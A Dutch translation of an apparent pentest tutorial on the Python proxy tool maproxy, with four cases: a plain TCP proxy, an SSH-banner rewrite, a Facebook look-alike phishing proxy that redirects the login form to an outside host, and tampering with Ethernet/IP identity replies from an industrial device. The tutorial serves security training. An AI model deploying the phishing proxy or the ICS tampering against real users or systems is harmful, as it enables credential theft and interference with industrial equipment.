🥇Netwerkgegevens in real-time verwerken

De vertaling van het artikel is voorbereid ter voorbereiding op de start van de cursus ‘Pentest. Praktijk van penetratietests’.

Samenvatting

Diverse vormen van beveiligingsbeoordeling, variërend van regelmatige penetratietests en Red Team-operaties tot het hacken van IoT/ICS-apparaten en SCADA, omvatten het werken met binaire netwerkprotocollen. Dit houdt in wezen in dat netwerkgegevens tussen de cliënt en het doelwit worden onderschept en gemodificeerd. Sniffen van netwerkverkeer is geen complexe taak, aangezien we tools zoals Wireshark, Tcpdump of Scapy hebben. Echter, modificatie blijkt een arbeidsintensievere taak te zijn, omdat we een interface nodig hebben om de netgegevens te lezen, te filteren, in realtime te wijzigen en terug te sturen naar de doelhost. Bovendien zou het ideaal zijn als zo'n tool automatisch met meerdere parallelle verbindingen kan werken en de mogelijkheid heeft om geconfigureerd te worden met scripts.

Op een dag ontdekte ik een tool die maproxydocumentatie gaf me snel te begrijpen dat maproxy precies is wat ik nodig had. Het is een vrij eenvoudige, veelzijdige en gemakkelijk configureerbare TCP-proxy. Ik heb deze tool getest op verschillende redelijk complexe applicaties, waaronder ICS-apparaten (die veel pakketten genereren), om te zien of hij met veel parallelle verbindingen kan werken, en de tool presteerde uitstekend.

Dit artikel zal je kennismaken met het in realtime verwerken van netwerkgegevens met behulp van maproxy.

Overzicht

Hulpmiddel maproxy gebaseerd op Tornado - een populair en geavanceerd asynchroon netwerkframework in Python.

Over het algemeen kan het in verschillende modi werken:

TCP:TCP onversleutelde TCP-verbindingen;
TCP:SSL en SSL:TCP met eenrichtingsversleuteling;
SSL:SSL tweezijdige versleuteling.

Het wordt geleverd als een bibliotheek. Voor een snelle start kun je voorbeelden van bestanden gebruiken die de belangrijkste functies van de bibliotheek weerspiegelen.:

all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py

Case 1 - eenvoudige bidirectionele proxy

Gebaseerd op tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Standaard ProxyServer() neemt twee argumenten - verbindingslocatie en doelpoort. server.listen() neemt één argument - de poort om binnenkomende verbindingen te beluisteren.

Uitvoering van het script:

# python tcp2tcp.py

Om een test uit te voeren, willen we verbinding maken met een lokale SSH-server via ons proxy-script, dat luistert op 2222/tcp poort en verbindt met de standaardpoort 22/tcp SSH-servers:

Het welkomstbanner geeft aan dat ons voorbeeldscript met succes netwerkverkeer heeft geproxied.

Case 2 – gegevensmodificatie

Een ander demo-script logging_proxy.py is perfect voor interactie met netwerkgegevens. Opmerkingen in het bestand beschrijven de klassenmethoden die je kunt aanpassen om je doel te bereiken:

Het interessantste hier:

on_c2p_done_read – om gegevens te onderscheppen onderweg van de client naar de server;
on_p2s_done_read – in de andere richting.

Laten we proberen het SSH-banner aan te passen dat de server aan de client retourneert:

[...]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[...]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[...]

Voer het script uit:

Zoals je kunt zien, werd de client misleid omdat de naam van de SSH-server voor hem was gewijzigd in «DumnySSH».

Case 3 – eenvoudige phishing-webpagina

Er zijn eindeloze gebruiksmogelijkheden voor dit hulpmiddel. Laten we deze keer focussen op iets praktisch uit de wereld van Red Team-operaties. Laten we de landingspagina nabootsen m.facebook.com en gebruik maken van een aangepast domein met een opzettelijke typfout, zoals m.facebok.com. Voor demonstratiedoeleinden veronderstellen we gewoon dat het domein door ons is geregistreerd.

We gaan een ongecodeerde netwerkverbinding maken met ons slachtofferproxy en een SSL-stream voor de Facebook-server (31.13.81.36). Om dit voorbeeld te laten werken, moeten we de HTTP-hostheader vervangen en de juiste hostnaam implementeren, en we schakelen ook compressie van de antwoorden uit om gemakkelijke toegang tot hun inhoud te krijgen. Uiteindelijk zullen we het HTML-formulier vervangen, zodat de inloggegevens naar ons worden verzonden in plaats van naar de Facebook-servers:

[...]
def on_c2p_done_read(self,data):
 # vervang Host-header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# schakel compressie uit
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[...]
 def on_p2s_done_read(self,data):
 # gedeeltelijke vervanging van antwoord
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[...]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[...]

Uiteindelijk:

Zoals je kunt zien, zijn we er met succes in geslaagd om de originele website te vervalsen.

Case 4 – Ethernet/IP beïnvloeden

Ik heb al geruime tijd te maken met industriële apparaten en software (ICS / SCADA), zoals programmeerbare controllers (PLC), in- en uitvoermodules, aandrijvingen, relais, ladderprogramma's en nog veel meer. Deze case is voor iedereen die van industriële dingen houdt. Het hacken van dergelijke oplossingen houdt actief spelen met netwerprotocollen in. In het volgende voorbeeld wil ik laten zien hoe je het netwerkverkeer van ICS/SCADA kunt aanpassen.

Hiervoor heb je het volgende nodig:

Een netwerksniffer, zoals Wireshark;
Een Ethernet/IP of gewoon een SIP-apparaat, dat je kunt vinden met de Shodan-service;
Onze op basis van maproxy.

Laten we eerst eens kijken naar hoe een typische identificatie-eis eruit ziet van CIP (Common Industrial Protocol):

De identificatie van het apparaat vindt plaats via het Ethernet/IP-protocol, dat een uitgebreide versie van het Ethernet-protocol is voor industriële doeleinden, het verpakt besturingsprotocollen zoals CIP. We gaan de toegewezen naam wijzigen, die zichtbaar is op de screenshot «NI-IndComm for Ethernet» met behulp van ons proxy-script. We zouden het script opnieuw kunnen gebruiken logging_proxy.py en op dezelfde manier de klas methode aanpassen on_p2s_done_read, omdat we willen dat een andere identificatienaam zichtbaar is voor de cliënt.

Code:

[…]
 def on_p2s_done_read(self,data):
 # gedeeltelijke vervanging van het antwoord

 # Controleren of we een List Identity-berichtreactie hebben gekregen
     if data[26:28] == b'x0cx00':
         print('Antwoord ontvangen, vervangend')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
 […]
 server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
 server.listen(44818)
 […]

In wezen hebben we om de identificatie van het apparaat twee keer gevraagd, het tweede antwoord is het origineel, terwijl het eerste in real-time is aangepast.

En tot slot

In mijn optiek maproxy is het een handig en eenvoudig hulpmiddel, dat ook nog eens in Python is geschreven, dus ik denk dat jij ook kunt profiteren van het gebruik ervan. Natuurlijk zijn er complexere hulpmiddelen voor het verwerken en wijzigen van netwerkgegevens, maar deze vereisen ook meer aandacht en worden meestal gemaakt voor specifieke gebruiksscenario's, zoals Muraena, Modlishka of evilginx voor cases zoals de derde, of canape voor de laatste case. Hoe dan ook, met behulp van maproxy kun je snel je ideeën voor het onderscheppen van netwerkgegevens realiseren, aangezien de voorbeelden van scripts zeer illustratief zijn.

Testen van authenticatiemechanismen in Windows AD

Bron: habr.com